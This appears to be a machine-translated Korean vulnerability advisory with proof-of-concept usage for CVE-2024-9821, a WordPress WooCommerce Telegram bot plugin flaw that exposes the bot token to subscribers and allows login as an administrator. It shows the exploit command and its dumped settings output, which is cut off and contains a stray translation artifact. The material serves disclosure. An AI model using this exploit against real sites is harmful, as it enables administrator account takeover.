
WooCommerce용 Telegram 봇 1.2.4 이하 - 인증된 (구독자+) Telegram 봇 토큰 노출로 인한 인증 우회
WooCommerce용 Telegram Bot <= 1.2.4 - 인증된 (구독자 이상) Telegram Bot 토큰 노출로 인증 우회
WooCommerce용 Telegram Bot 플러그인은 1.2.4 이하 모든 버전에서 'stm_wpcfto_get_settings' AJAX 액션에 대한 권한 확인이 누락되어 중요한 정보가 노출되는 취약점이 있습니다. 이를 통해 구독자 수준 이상의 접근 권한을 가진 인증된 공격자가 Telegram Bot을 제어하는 데 사용되는 비밀 토큰인 Telegram Bot 토큰을 볼 수 있습니다. 그런 다음 이 토큰을 사용하여 Telegram 로그인 기능 덕분에 사용자 이름을 알고 있다면 사이트의 기존 사용자(예: 관리자)로 로그인할 수 있습니다.``` Type: plugin CVSS Score: 8.8 CVE: CVE-2024-9821
* 슬러그: [bot-for-telegram-on-woocommerce](https://wordpress.org/plugin/bot-for-telegram-on-woocommerce)
* 다운로드 링크: [다운로드 bot-for-telegram-on-woocommerce 버전 1.2.4](https://downloads.wordpress.org/plugin/bot-for-telegram-on-woocommerce.zip)
POC
---```
python3 CVE-2024-9821.py -u http://kubernetes.docker.internal -un user -p user
[No content provided for translation.]``` Vulnerability check: http://kubernetes.docker.internal Logged in successfully. { 'bot_settings': { 'fields': { 'bftow_bot_api': { 'label': 'Telegram ' 'Bot Token', 'type': 'text', 'value': '8164783304:Axxxxxxxxxxxxxxxxxxxxxxxxxx'}, 'bftow_bot_name': { 'description': 'Set ' 'if ' 'you ' 'want ' 'user ' 'to ' 'get ' 'back ' 'to ' 'Telegram ' 'after ' 'successful ' 'checkout. ' '(Without ' '"@")', 'label': 'Telegram ' 'Bot Name', 'type': 'text', 'value': 'Superbotman'}, 'bftow_buttons': { 'description': 'Save ' 'BOT ' 'Token ' 'first', 'label': 'Activate ' 'API URL', 'type': 'bftow_webhook_activation', 'value': ''}, 'bftow_google_maps_api_key': { 'description': '<a ' 'href="https://developers.google.com/maps/documentation/geocoding/overview">Provide ' 'Google ' 'Maps ' 'API ' 'key ' 'with ' 'enabled ' 'geocoding ' 'API ' 'and ' 'configured ' 'billing ' 'account. ' 'If ' 'you ' 'leave ' 'this ' 'field ' 'empty, ' 'the ' 'location ' 'will ' 'be ' 'taken ' 'via ' 'openstreetmap', 'label': 'Google ' 'Maps ' 'API ' 'key', 'pro': True, 'type': 'text', 'value': ''}, 'bftow_proxy_server': { 'label': 'Proxy ' 'server', 'type': 'text', 'value': 'https://api.telegram.org/bot'}}, 'name': 'BOT API Settings'}, 'interface_settings': { 'fields': { 'bftow_cart_on_site': { 'description': 'if ' 'enabled ' 'and ' 'the ' 'checkout ' 'occurs ' 'on ' 'the '